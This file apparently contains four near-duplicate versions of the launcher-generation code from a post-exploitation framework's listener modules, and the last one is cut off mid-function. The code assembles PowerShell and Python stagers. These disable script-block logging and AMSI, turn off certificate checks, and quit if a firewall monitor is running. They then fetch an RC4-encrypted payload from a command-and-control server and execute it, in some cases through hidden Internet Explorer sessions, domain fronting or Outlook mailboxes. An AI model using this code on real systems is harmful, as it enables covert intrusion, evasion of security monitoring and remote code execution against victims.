def generate_launcher(self,
encode=True,
obfuscate=False,
obfuscationCommand="",
userAgent='default',
proxy='default',
proxyCreds='default',
stagerRetries='0',
language=None,
safeChecks='',
listenerName=None,
scriptLogBypass=True,
AMSIBypass=True,
AMSIBypass2=False,
ETWBypass=False):
"""
Generate a basic launcher for the specified listener.
"""
if not language:
print(
helpers.color(
'[!] listeners/http_hop generate_launcher(): no language specified!'
))
if listenerName and (listenerName
in self.mainMenu.listeners.activeListeners):
# extract the set options for this instantiated listener
listenerOptions = self.mainMenu.listeners.activeListeners[
listenerName]['options']
host = listenerOptions['Host']['Value']
launcher = listenerOptions['Launcher']['Value']
stagingKey = listenerOptions['RedirectStagingKey']['Value']
profile = listenerOptions['DefaultProfile']['Value']
uris = [a for a in profile.split('|')[0].split(',')]
stage0 = random.choice(uris)
if language.startswith('po'):
# PowerShell
stager = '$ErrorActionPreference = \"SilentlyContinue\";'
if safeChecks.lower() == 'true':
stager = helpers.randomize_capitalization(
"If($PSVersionTable.PSVersion.Major -ge 3){")
# ScriptBlock Logging bypass
if scriptLogBypass:
stager += bypasses.scriptBlockLogBypass()
if ETWBypass:
stager += bypasses.ETWBypass()
# @mattifestation's AMSI bypass
if AMSIBypass:
stager += bypasses.AMSIBypass()
# rastamouse AMSI bypass
if AMSIBypass2:
stager += bypasses.AMSIBypass2()
stager += "};"
stager += helpers.randomize_capitalization(
"[System.Net.ServicePointManager]::Expect100Continue=0;"
)
stager += helpers.randomize_capitalization(
"$" + helpers.generate_random_script_var_name("wc") +
"=New-Object System.Net.WebClient;")
if userAgent.lower() == 'default':
userAgent = profile.split('|')[1]
stager += "$u='" + userAgent + "';"
if 'https' in host:
# allow for self-signed certificates for https connections
stager += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};"
if userAgent.lower() != 'none' or proxy.lower() != 'none':
if userAgent.lower() != 'none':
stager += helpers.randomize_capitalization(
'$' +
helpers.generate_random_script_var_name("wc") +
'.Headers.Add(')
stager += "'User-Agent',$u);"
if proxy.lower() != 'none':
if proxy.lower() == 'default':
stager += helpers.randomize_capitalization(
"$" +
helpers.generate_random_script_var_name("wc") +
".Proxy=[System.Net.WebRequest]::DefaultWebProxy;"
)
else:
# TODO: implement form for other proxy
stager += helpers.randomize_capitalization(
"$proxy=New-Object Net.WebProxy;")
stager += helpers.randomize_capitalization(
"$proxy.Address = '" + proxy.lower() + "';")
stager += helpers.randomize_capitalization(
"$" +
helpers.generate_random_script_var_name("wc") +
".Proxy = $proxy;")
if proxyCreds.lower() == "default":
stager += helpers.randomize_capitalization(
"$" +
helpers.generate_random_script_var_name("wc") +
".Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;"
)
else:
# TODO: implement form for other proxy credentials
username = proxyCreds.split(':')[0]
password = proxyCreds.split(':')[1]
domain = username.split('\\')[0]
usr = username.split('\\')[1]
stager += "$netcred = New-Object System.Net.NetworkCredential('" + usr + "','" + password + "','" + domain + "');"
stager += helpers.randomize_capitalization(
"$" +
helpers.generate_random_script_var_name("wc") +
".Proxy.Credentials = $netcred;")
# TODO: reimplement stager retries?
# code to turn the key string into a byte array
stager += helpers.randomize_capitalization(
"$K=[System.Text.Encoding]::ASCII.GetBytes(")
stager += "'%s');" % (stagingKey)
# this is the minimized RC4 stager code from rc4.ps1
stager += helpers.randomize_capitalization(
'$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};'
)
# prebuild the request routing packet for the launcher
routingPacket = packets.build_routing_packet(
stagingKey,
sessionID='00000000',
language='POWERSHELL',
meta='STAGE0',
additional='None',
encData='')
b64RoutingPacket = base64.b64encode(routingPacket).decode(
"UTF-8")
# add the RC4 packet to a cookie
stager += helpers.randomize_capitalization(
"$" + helpers.generate_random_script_var_name("wc") +
".Headers.Add(")
stager += "\"Cookie\",\"session=%s\");" % (b64RoutingPacket)
stager += "$ser=%s;$t='%s';$hop='%s';" % (
helpers.obfuscate_call_home_address(host), stage0,
listenerName)
stager += helpers.randomize_capitalization(
"$data=$" + helpers.generate_random_script_var_name("wc") +
".DownloadData($ser+$t);")
stager += helpers.randomize_capitalization(
"$iv=$data[0..3];$data=$data[4..$data.length];")
# decode everything and kick it over to IEX to kick off execution
stager += helpers.randomize_capitalization(
"-join[Char[]](& $R $data ($IV+$K))|IEX")
if obfuscate:
stager = helpers.obfuscate(
self.mainMenu.installPath,
stager,
obfuscationCommand=obfuscationCommand)
# base64 encode the stager and return it
if encode and ((not obfuscate) or
("launcher" not in obfuscationCommand.lower())):
return helpers.powershell_launcher(stager, launcher)
else:
# otherwise return the case-randomized stager
return stager
if language.startswith('py'):
# Python
launcherBase = 'import sys;'
if 'https' in host:
# monkey patch ssl woohooo
launcherBase += "import ssl;\nif hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context;\n"
try:
if safeChecks.lower() == 'true':
launcherBase += "import re, subprocess;"
launcherBase += "cmd = \"ps -ef | grep Little\ Snitch | grep -v grep\"\n"
launcherBase += "ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n"
launcherBase += "out, err = ps.communicate()\n"
launcherBase += "if re.search(\"Little Snitch\", out):\n"
launcherBase += " sys.exit()\n"
except Exception as e:
p = "[!] Error setting LittleSnitch in stagger: " + str(e)
print(helpers.color(p, color='red'))
if userAgent.lower() == 'default':
userAgent = profile.split('|')[1]
launcherBase += "o=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['build_opener']).build_opener();"
launcherBase += "UA='%s';" % (userAgent)
launcherBase += "server='%s';t='%s';" % (host, stage0)
# prebuild the request routing packet for the launcher
routingPacket = packets.build_routing_packet(
stagingKey,
sessionID='00000000',
language='PYTHON',
meta='STAGE0',
additional='None',
encData='')
b64RoutingPacket = base64.b64encode(routingPacket).decode(
"UTF-8")
launcherBase += "import urllib2\n"
if proxy.lower() != "none":
if proxy.lower() == "default":
launcherBase += "proxy = urllib2.ProxyHandler();\n"
else:
proto = proxy.Split(':')[0]
launcherBase += "proxy = urllib2.ProxyHandler({'" + proto + "':'" + proxy + "'});\n"
if proxyCreds != "none":
if proxyCreds == "default":
launcherBase += "o = urllib2.build_opener(proxy);\n"
else:
launcherBase += "proxy_auth_handler = urllib2.ProxyBasicAuthHandler();\n"
username = proxyCreds.split(':')[0]
password = proxyCreds.split(':')[1]
launcherBase += "proxy_auth_handler.add_password(None,'" + proxy + "','" + username + "','" + password + "');\n"
launcherBase += "o = urllib2.build_opener(proxy, proxy_auth_handler);\n"
else:
launcherBase += "o = urllib2.build_opener(proxy);\n"
else:
launcherBase += "o = urllib2.build_opener();\n"
# add the RC4 packet to a cookie
launcherBase += "o.addheaders=[('User-Agent',UA), (\"Cookie\", \"session=%s\")];\n" % (
b64RoutingPacket)
#install proxy and creds globally, so they can be used with urlopen.
launcherBase += "urllib2.install_opener(o);\n"
# download the stager and extract the IV
launcherBase += "a=o.open(server+t).read();"
launcherBase += "IV=a[0:4];"
launcherBase += "data=a[4:];"
launcherBase += "key=IV+'%s';" % (stagingKey)
# RC4 decryption
launcherBase += "S,j,out=range(256),0,[]\n"
launcherBase += "for i in range(256):\n"
launcherBase += " j=(j+S[i]+ord(key[i%len(key)]))%256\n"
launcherBase += " S[i],S[j]=S[j],S[i]\n"
launcherBase += "i=j=0\n"
launcherBase += "for char in data:\n"
launcherBase += " i=(i+1)%256\n"
launcherBase += " j=(j+S[i])%256\n"
launcherBase += " S[i],S[j]=S[j],S[i]\n"
launcherBase += " out.append(chr(ord(char)^S[(S[i]+S[j])%256]))\n"
launcherBase += "exec(''.join(out))"
if encode:
launchEncoded = base64.b64encode(launcherBase).decode(
"UTF-8")
launcher = "echo \"import sys,base64;exec(base64.b64decode('%s'));\" | python3 &" % (
launchEncoded)
return launcher
else:
return launcherBase
else:
print(
helpers.color(
"[!] listeners/http_hop generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module."
))
else:
print(
helpers.color(
"[!] listeners/http_hop generate_launcher(): invalid listener name specification!"
))
def generate_launcher(self,
encode=True,
obfuscate=False,
obfuscationCommand="",
userAgent='default',
proxy='default',
proxyCreds='default',
stagerRetries='0',
language=None,
safeChecks='',
listenerName=None,
scriptLogBypass=True,
AMSIBypass=True,
AMSIBypass2=False,
ETWBypass=False):
"""
Generate a basic launcher for the specified listener.
"""
if not language:
print(
helpers.color(
'[!] listeners/http_com generate_launcher(): no language specified!'
))
if listenerName and (listenerName in self.threads) and (
listenerName in self.mainMenu.listeners.activeListeners):
# extract the set options for this instantiated listener
listenerOptions = self.mainMenu.listeners.activeListeners[
listenerName]['options']
host = listenerOptions['Host']['Value']
launcher = listenerOptions['Launcher']['Value']
stagingKey = listenerOptions['StagingKey']['Value']
profile = listenerOptions['DefaultProfile']['Value']
requestHeader = listenerOptions['RequestHeader']['Value']
uris = [a for a in profile.split('|')[0].split(',')]
stage0 = random.choice(uris)
customHeaders = profile.split('|')[2:]
if language.startswith('po'):
# PowerShell
stager = '$ErrorActionPreference = \"SilentlyContinue\";'
if safeChecks.lower() == 'true':
stager = helpers.randomize_capitalization(
"If($PSVersionTable.PSVersion.Major -ge 3){")
# ScriptBlock Logging bypass
if scriptLogBypass:
stager += bypasses.scriptBlockLogBypass()
if ETWBypass:
stager += bypasses.ETWBypass()
# @mattifestation's AMSI bypass
if AMSIBypass:
stager += bypasses.AMSIBypass()
# rastamouse AMSI bypass
if AMSIBypass2:
stager += bypasses.AMSIBypass2()
stager += "};"
stager += helpers.randomize_capitalization(
"[System.Net.ServicePointManager]::Expect100Continue=0;"
)
# TODO: reimplement stager retries?
# check if we're using IPv6
listenerOptions = copy.deepcopy(listenerOptions)
bindIP = listenerOptions['BindIP']['Value']
port = listenerOptions['Port']['Value']
if ':' in bindIP:
if "http" in host:
if "https" in host:
host = 'https://' + '[' + str(
bindIP) + ']' + ":" + str(port)
else:
host = 'http://' + '[' + str(
bindIP) + ']' + ":" + str(port)
# code to turn the key string into a byte array
stager += helpers.randomize_capitalization(
"$" + helpers.generate_random_script_var_name("K") +
"=[System.Text.Encoding]::ASCII.GetBytes(")
stager += "'%s');" % (stagingKey)
# this is the minimized RC4 stager code from rc4.ps1
stager += helpers.randomize_capitalization(
'$R={$D,$' + helpers.generate_random_script_var_name("K") +
'=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$' +
helpers.generate_random_script_var_name("K") + '[$_%$' +
helpers.generate_random_script_var_name("K") +
'.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};'
)
# prebuild the request routing packet for the launcher
routingPacket = packets.build_routing_packet(
stagingKey,
sessionID='00000000',
language='POWERSHELL',
meta='STAGE0',
additional='None',
encData='')
b64RoutingPacket = base64.b64encode(routingPacket)
stager += "$ie=New-Object -COM InternetExplorer.Application;$ie.Silent=$True;$ie.visible=$False;$fl=14;"
stager += "$ser=" + helpers.obfuscate_call_home_address(
host) + ";$t='" + stage0 + "';"
# add the RC4 packet to a header location
stager += "$c=\"%s: %s" % (requestHeader, b64RoutingPacket)
# Add custom headers if any
modifyHost = False
if customHeaders != []:
for header in customHeaders:
headerKey = header.split(':')[0]
headerValue = header.split(':')[1]
if headerKey.lower() == "host":
modifyHost = True
stager += "`r`n%s: %s" % (headerKey, headerValue)
stager += "\";"
# If host header defined, assume domain fronting is in use and add a call to the base URL first
# this is a trick to keep the true host name from showing in the TLS SNI portion of the client hello
if modifyHost:
stager += helpers.randomize_capitalization(
"$ie.navigate2($ser,$fl,0,$Null,$Null);while($ie.busy){Start-Sleep -Milliseconds 100};"
)
stager += "$ie.navigate2($ser+$t,$fl,0,$Null,$c);"
stager += "while($ie.busy){Start-Sleep -Milliseconds 100};"
stager += "$ht = $ie.document.GetType().InvokeMember('body', [System.Reflection.BindingFlags]::GetProperty, $Null, $ie.document, $Null).InnerHtml;"
stager += "try {$data=[System.Convert]::FromBase64String($ht)} catch {$Null}"
stager += helpers.randomize_capitalization(
"$iv=$data[0..3];$data=$data[4..$data.length];")
# decode everything and kick it over to IEX to kick off execution
stager += helpers.randomize_capitalization(
"-join[Char[]](& $R $data ($IV+$" +
helpers.generate_random_script_var_name("K") + ")) | IEX")
if obfuscate:
stager = helpers.obfuscate(
self.mainMenu.installPath,
stager,
obfuscationCommand=obfuscationCommand)
# base64 encode the stager and return it
if encode and ((not obfuscate) or
("launcher" not in obfuscationCommand.lower())):
return helpers.powershell_launcher(stager, launcher)
else:
# otherwise return the case-randomized stager
return stager
else:
print(
helpers.color(
"[!] listeners/http_com generate_launcher(): invalid language specification: only 'powershell' is currently supported for this module."
))
else:
print(
helpers.color(
"[!] listeners/http_com generate_launcher(): invalid listener name specification!"
))
def generate_launcher(self,
encode=True,
obfuscate=False,
obfuscationCommand="",
userAgent='default',
proxy='default',
proxyCreds='default',
stagerRetries='0',
language=None,
safeChecks='',
listenerName=None):
"""
Generate a basic launcher for the specified listener.
"""
if not language:
print helpers.color(
'[!] listeners/http generate_launcher(): no language specified!'
)
if listenerName and (listenerName in self.threads) and (
listenerName in self.mainMenu.listeners.activeListeners):
# extract the set options for this instantiated listener
listenerOptions = self.mainMenu.listeners.activeListeners[
listenerName]['options']
host = listenerOptions['Host']['Value']
launcher = listenerOptions['Launcher']['Value']
stagingKey = listenerOptions['StagingKey']['Value']
profile = listenerOptions['DefaultProfile']['Value']
uris = [a for a in profile.split('|')[0].split(',')]
stage0 = random.choice(uris)
customHeaders = profile.split('|')[2:]
if language.startswith('po'):
# PowerShell
stager = ''
if safeChecks.lower() == 'true':
# ScriptBlock Logging bypass
stager = helpers.randomize_capitalization(
"$GroupPolicySettings = [ref].Assembly.GetType(")
stager += "'System.Management.Automation.Utils'"
stager += helpers.randomize_capitalization(
").\"GetFie`ld\"(")
stager += "'cachedGroupPolicySettings', 'N'+'onPublic,Static'"
stager += helpers.randomize_capitalization(
").GetValue($null);$GroupPolicySettings")
stager += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging'] = 0;"
stager += helpers.randomize_capitalization(
"$GroupPolicySettings")
stager += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging'] = 0;"
# @mattifestation's AMSI bypass
stager += helpers.randomize_capitalization(
"[Ref].Assembly.GetType(")
stager += "'System.Management.Automation.AmsiUtils'"
stager += helpers.randomize_capitalization(
')|?{$_}|%{$_.GetField(')
stager += "'amsiInitFailed','NonPublic,Static'"
stager += helpers.randomize_capitalization(
").SetValue($null,$true)};")
stager += helpers.randomize_capitalization(
"[System.Net.ServicePointManager]::Expect100Continue=0;"
)
stager += helpers.randomize_capitalization(
"$wc=New-Object System.Net.WebClient;")
if userAgent.lower() == 'default':
profile = listenerOptions['DefaultProfile']['Value']
userAgent = profile.split('|')[1]
stager += "$u='" + userAgent + "';"
if 'https' in host:
# allow for self-signed certificates for https connections
stager += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};"
if userAgent.lower() != 'none' or proxy.lower() != 'none':
if userAgent.lower() != 'none':
stager += helpers.randomize_capitalization(
'$wc.Headers.Add(')
stager += "'User-Agent',$u);"
if proxy.lower() != 'none':
if proxy.lower() == 'default':
stager += helpers.randomize_capitalization(
"$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;"
)
else:
# TODO: implement form for other proxy
stager += helpers.randomize_capitalization(
"$proxy=New-Object Net.WebProxy;")
stager += helpers.randomize_capitalization(
"$proxy.Address = '" + proxy.lower() + "';")
stager += helpers.randomize_capitalization(
"$wc.Proxy = $proxy;")
if proxyCreds.lower() == "default":
stager += helpers.randomize_capitalization(
"$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;"
)
else:
# TODO: implement form for other proxy credentials
username = proxyCreds.split(':')[0]
password = proxyCreds.split(':')[1]
domain = username.split('\\')[0]
usr = username.split('\\')[1]
stager += "$netcred = New-Object System.Net.NetworkCredential(" + usr + "," + password + "," + domain + ");"
stager += helpers.randomize_capitalization(
"$wc.Proxy.Credentials = $netcred;")
# TODO: reimplement stager retries?
#check if we're using IPv6
listenerOptions = copy.deepcopy(listenerOptions)
bindIP = listenerOptions['BindIP']['Value']
port = listenerOptions['Port']['Value']
if ':' in bindIP:
if "http" in host:
if "https" in host:
host = 'https://' + '[' + str(
bindIP) + ']' + ":" + str(port)
else:
host = 'http://' + '[' + str(
bindIP) + ']' + ":" + str(port)
# code to turn the key string into a byte array
stager += helpers.randomize_capitalization(
"$K=[System.Text.Encoding]::ASCII.GetBytes(")
stager += "'%s');" % (stagingKey)
# this is the minimized RC4 stager code from rc4.ps1
stager += helpers.randomize_capitalization(
'$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};'
)
# prebuild the request routing packet for the launcher
routingPacket = packets.build_routing_packet(
stagingKey,
sessionID='00000000',
language='POWERSHELL',
meta='STAGE0',
additional='None',
encData='')
b64RoutingPacket = base64.b64encode(routingPacket)
#Add custom headers if any
if customHeaders != []:
for header in customHeaders:
headerKey = header.split(':')[0]
headerValue = header.split(':')[1]
stager += helpers.randomize_capitalization(
"$wc.Headers.Add(")
stager += "\"%s\",\"%s\");" % (headerKey, headerValue)
# add the RC4 packet to a cookie
stager += helpers.randomize_capitalization("$wc.Headers.Add(")
stager += "\"Cookie\",\"session=%s\");" % (b64RoutingPacket)
stager += "$ser='%s';$t='%s';" % (host, stage0)
stager += helpers.randomize_capitalization(
"$data=$WC.DownloadData($ser+$t);")
stager += helpers.randomize_capitalization(
"$iv=$data[0..3];$data=$data[4..$data.length];")
# decode everything and kick it over to IEX to kick off execution
stager += helpers.randomize_capitalization(
"-join[Char[]](& $R $data ($IV+$K))|IEX")
if obfuscate:
stager = helpers.obfuscate(
stager, obfuscationCommand=obfuscationCommand)
# base64 encode the stager and return it
if encode and ((not obfuscate) or
("launcher" not in obfuscationCommand.lower())):
return helpers.powershell_launcher(stager, launcher)
else:
# otherwise return the case-randomized stager
return stager
if language.startswith('py'):
# Python
launcherBase = 'import sys;'
if "https" in host:
# monkey patch ssl woohooo
launcherBase += "import ssl;\nif hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context;\n"
try:
if safeChecks.lower() == 'true':
launcherBase += "import re, subprocess;"
launcherBase += "cmd = \"ps -ef | grep Little\ Snitch | grep -v grep\"\n"
launcherBase += "ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)\n"
launcherBase += "out = ps.stdout.read()\n"
launcherBase += "ps.stdout.close()\n"
launcherBase += "if re.search(\"Little Snitch\", out):\n"
launcherBase += " sys.exit()\n"
except Exception as e:
p = "[!] Error setting LittleSnitch in stager: " + str(e)
print helpers.color(p, color='red')
if userAgent.lower() == 'default':
profile = listenerOptions['DefaultProfile']['Value']
userAgent = profile.split('|')[1]
launcherBase += "import urllib2;\n"
launcherBase += "UA='%s';" % (userAgent)
launcherBase += "server='%s';t='%s';" % (host, stage0)
# prebuild the request routing packet for the launcher
routingPacket = packets.build_routing_packet(
stagingKey,
sessionID='00000000',
language='PYTHON',
meta='STAGE0',
additional='None',
encData='')
b64RoutingPacket = base64.b64encode(routingPacket)
launcherBase += "req=urllib2.Request(server+t);\n"
# add the RC4 packet to a cookie
launcherBase += "req.add_header('User-Agent',UA);\n"
launcherBase += "req.add_header('Cookie',\"session=%s\");\n" % (
b64RoutingPacket)
# Add custom headers if any
if customHeaders != []:
for header in customHeaders:
headerKey = header.split(':')[0]
headerValue = header.split(':')[1]
#launcherBase += ",\"%s\":\"%s\"" % (headerKey, headerValue)
launcherBase += "req.add_header(\"%s\",\"%s\");\n" % (
headerKey, headerValue)
if proxy.lower() != "none":
if proxy.lower() == "default":
launcherBase += "proxy = urllib2.ProxyHandler();\n"
else:
proto = proxy.Split(':')[0]
launcherBase += "proxy = urllib2.ProxyHandler({'" + proto + "':'" + proxy + "'});\n"
if proxyCreds != "none":
if proxyCreds == "default":
launcherBase += "o = urllib2.build_opener(proxy);\n"
else:
launcherBase += "proxy_auth_handler = urllib2.ProxyBasicAuthHandler();\n"
username = proxyCreds.split(':')[0]
password = proxyCreds.split(':')[1]
launcherBase += "proxy_auth_handler.add_password(None," + proxy + "," + username + "," + password + ");\n"
launcherBase += "o = urllib2.build_opener(proxy, proxy_auth_handler);\n"
else:
launcherBase += "o = urllib2.build_opener(proxy);\n"
else:
launcherBase += "o = urllib2.build_opener();\n"
#install proxy and creds globally, so they can be used with urlopen.
launcherBase += "urllib2.install_opener(o);\n"
# download the stager and extract the IV
launcherBase += "a=urllib2.urlopen(req).read();\n"
launcherBase += "IV=a[0:4];"
launcherBase += "data=a[4:];"
launcherBase += "key=IV+'%s';" % (stagingKey)
# RC4 decryption
launcherBase += "S,j,out=range(256),0,[]\n"
launcherBase += "for i in range(256):\n"
launcherBase += " j=(j+S[i]+ord(key[i%len(key)]))%256\n"
launcherBase += " S[i],S[j]=S[j],S[i]\n"
launcherBase += "i=j=0\n"
launcherBase += "for char in data:\n"
launcherBase += " i=(i+1)%256\n"
launcherBase += " j=(j+S[i])%256\n"
launcherBase += " S[i],S[j]=S[j],S[i]\n"
launcherBase += " out.append(chr(ord(char)^S[(S[i]+S[j])%256]))\n"
launcherBase += "exec(''.join(out))"
if encode:
launchEncoded = base64.b64encode(launcherBase)
launcher = "echo \"import sys,base64,warnings;warnings.filterwarnings(\'ignore\');exec(base64.b64decode('%s'));\" | python &" % (
launchEncoded)
return launcher
else:
return launcherBase
else:
print helpers.color(
"[!] listeners/http generate_launcher(): invalid language specification: only 'powershell' and 'python' are currently supported for this module."
)
else:
print helpers.color(
"[!] listeners/http generate_launcher(): invalid listener name specification!"
)
def generate_launcher(self,
encode=True,
obfuscate=False,
obfuscationCommand="",
userAgent='default',
proxy='default',
proxyCreds='default',
stagerRetries='0',
language=None,
safeChecks='',
listenerName=None):
"""
Generate a basic launcher for the specified listener.
"""
if not language:
print helpers.color(
'[!] listeners/http_com generate_launcher(): no language specified!'
)
if listenerName and (listenerName in self.threads) and (
listenerName in self.mainMenu.listeners.activeListeners):
# extract the set options for this instantiated listener
listenerOptions = self.mainMenu.listeners.activeListeners[
listenerName]['options']
host = listenerOptions['Host']['Value']
launcher = listenerOptions['Launcher']['Value']
stagingKey = listenerOptions['StagingKey']['Value']
profile = listenerOptions['DefaultProfile']['Value']
uris = [a for a in profile.split('|')[0].split(',')]
stage0 = random.choice(uris)
if language.startswith('po'):
# PowerShell
stager = ''
if safeChecks.lower() == 'true':
# ScriptBlock Logging bypass
stager = helpers.randomize_capitalization(
"$GroupPolicySettings = [ref].Assembly.GetType(")
stager += "'System.Management.Automation.Utils'"
stager += helpers.randomize_capitalization(
").\"GetFie`ld\"(")
stager += "'cachedGroupPolicySettings', 'N'+'onPublic,Static'"
stager += helpers.randomize_capitalization(
").GetValue($null);$GroupPolicySettings")
stager += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging'] = 0;"
stager += helpers.randomize_capitalization(
"$GroupPolicySettings")
stager += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging'] = 0;"
# @mattifestation's AMSI bypass
stager += helpers.randomize_capitalization(
"[Ref].Assembly.GetType(")
stager += "'System.Management.Automation.AmsiUtils'"
stager += helpers.randomize_capitalization(
')|?{$_}|%{$_.GetField(')
stager += "'amsiInitFailed','NonPublic,Static'"
stager += helpers.randomize_capitalization(
").SetValue($null,$true)};")
stager += helpers.randomize_capitalization(
"[System.Net.ServicePointManager]::Expect100Continue=0;"
)
# TODO: reimplement stager retries?
#check if we're using IPv6
listenerOptions = copy.deepcopy(listenerOptions)
bindIP = listenerOptions['BindIP']['Value']
port = listenerOptions['Port']['Value']
if ':' in bindIP:
if "http" in host:
if "https" in host:
host = 'https://' + '[' + str(
bindIP) + ']' + ":" + str(port)
else:
host = 'http://' + '[' + str(
bindIP) + ']' + ":" + str(port)
# code to turn the key string into a byte array
stager += helpers.randomize_capitalization(
"$K=[System.Text.Encoding]::ASCII.GetBytes(")
stager += "'%s');" % (stagingKey)
# this is the minimized RC4 stager code from rc4.ps1
stager += helpers.randomize_capitalization(
'$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};'
)
# prebuild the request routing packet for the launcher
routingPacket = packets.build_routing_packet(
stagingKey,
sessionID='00000000',
language='POWERSHELL',
meta='STAGE0',
additional='None',
encData='')
b64RoutingPacket = base64.b64encode(routingPacket)
# add the RC4 packet to a header location
stager += "$ie=New-Object -COM InternetExplorer.Application;$ie.Silent=$True;$ie.visible=$False;$fl=14;"
stager += "$ser='%s';$t='%s';" % (host, stage0)
stager += "$ie.navigate2($ser+$t,$fl,0,$Null,'CF-RAY: %s');" % (
b64RoutingPacket)
stager += "while($ie.busy){Start-Sleep -Milliseconds 100};"
stager += "$ht = $ie.document.GetType().InvokeMember('body', [System.Reflection.BindingFlags]::GetProperty, $Null, $ie.document, $Null).InnerHtml;"
stager += "try {$data=[System.Convert]::FromBase64String($ht)} catch {$Null}"
stager += helpers.randomize_capitalization(
"$iv=$data[0..3];$data=$data[4..$data.length];")
# decode everything and kick it over to IEX to kick off execution
stager += helpers.randomize_capitalization(
"-join[Char[]](& $R $data ($IV+$K))|IEX")
if obfuscate:
stager = helpers.obfuscate(
stager,
self.mainMenu.installPath,
obfuscationCommand=obfuscationCommand)
# base64 encode the stager and return it
if encode and ((not obfuscate) or
("launcher" not in obfuscationCommand.lower())):
return helpers.powershell_launcher(stager, launcher)
else:
# otherwise return the case-randomized stager
return stager
else:
print helpers.color(
"[!] listeners/http_com generate_launcher(): invalid language specification: only 'powershell' is currently supported for this module."
)
else:
print helpers.color(
"[!] listeners/http_com generate_launcher(): invalid listener name specification!"
)
def generate_launcher(self,
encode=True,
obfuscate=False,
obfuscationCommand="",
userAgent='default',
proxy='default',
proxyCreds='default',
stagerRetries='0',
language=None,
safeChecks='',
listenerName=None,
scriptLogBypass=True,
AMSIBypass=True,
AMSIBypass2=False):
"""
Generate a basic launcher for the specified listener.
"""
if not language:
print(
helpers.color(
'[!] listeners/http generate_launcher(): no language specified!'
))
if listenerName and (listenerName in self.threads) and (
listenerName in self.mainMenu.listeners.activeListeners):
# extract the set options for this instantiated listener
listenerOptions = self.mainMenu.listeners.activeListeners[
listenerName]['options']
host = listenerOptions['Host']['Value']
stagingKey = listenerOptions['StagingKey']['Value']
profile = listenerOptions['DefaultProfile']['Value']
uris = [a for a in profile.split('|')[0].split(',')]
stage0 = random.choice(uris)
if language.startswith('po'):
# PowerShell
stager = '$ErrorActionPreference = \"SilentlyContinue\";'
if safeChecks.lower() == 'true':
stager = helpers.randomize_capitalization(
"If($PSVersionTable.PSVersion.Major -ge 3){")
# ScriptBlock Logging bypass
if scriptLogBypass:
stager += bypasses.scriptBlockLogBypass()
# @mattifestation's AMSI bypass
if AMSIBypass:
stager += bypasses.AMSIBypass()
# rastamouse AMSI bypass
if AMSIBypass2:
stager += bypasses.AMSIBypass2()
stager += "};"
stager += helpers.randomize_capitalization(
'Add-Type -assembly "Microsoft.Office.Interop.Outlook";'
)
stager += "$" + helpers.generate_random_script_var_name(
"GPF"
) + " = New-Object -comobject Outlook.Application;"
stager += helpers.randomize_capitalization(
'$mapi = $' +
helpers.generate_random_script_var_name("GPF") +
'.GetNameSpace("')
stager += 'MAPI");'
if listenerOptions['Email']['Value'] != '':
stager += '$fld = $' + helpers.generate_random_script_var_name(
"GPF"
) + '.Session.Folders | Where-Object {$_.Name -eq "' + listenerOptions[
'Email'][
'Value'] + '"} | %{$_.Folders.Item(2).Folders.Item("' + listenerOptions[
'Folder']['Value'] + '")};'
stager += '$fldel = $' + helpers.generate_random_script_var_name(
"GPF"
) + '.Session.Folders | Where-Object {$_.Name -eq "' + listenerOptions[
'Email']['Value'] + '"} | %{$_.Folders.Item(3)};'
else:
stager += '$fld = $' + helpers.generate_random_script_var_name(
"GPF"
) + '.Session.GetDefaultFolder(6).Folders.Item("' + listenerOptions[
'Folder']['Value'] + '");'
stager += '$fldel = $' + helpers.generate_random_script_var_name(
"GPF") + '.Session.GetDefaultFolder(3);'
# clear out all existing mails/messages
stager += helpers.randomize_capitalization(
"while(($fld.Items | measure | %{$_.Count}) -gt 0 ){ $fld.Items | %{$_.delete()};}"
)
# code to turn the key string into a byte array
stager += helpers.randomize_capitalization(
"$K=[System.Text.Encoding]::ASCII.GetBytes(")
stager += "'%s');" % (stagingKey)
# this is the minimized RC4 stager code from rc4.ps1
stager += helpers.randomize_capitalization(
'$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};'
)
# prebuild the request routing packet for the launcher
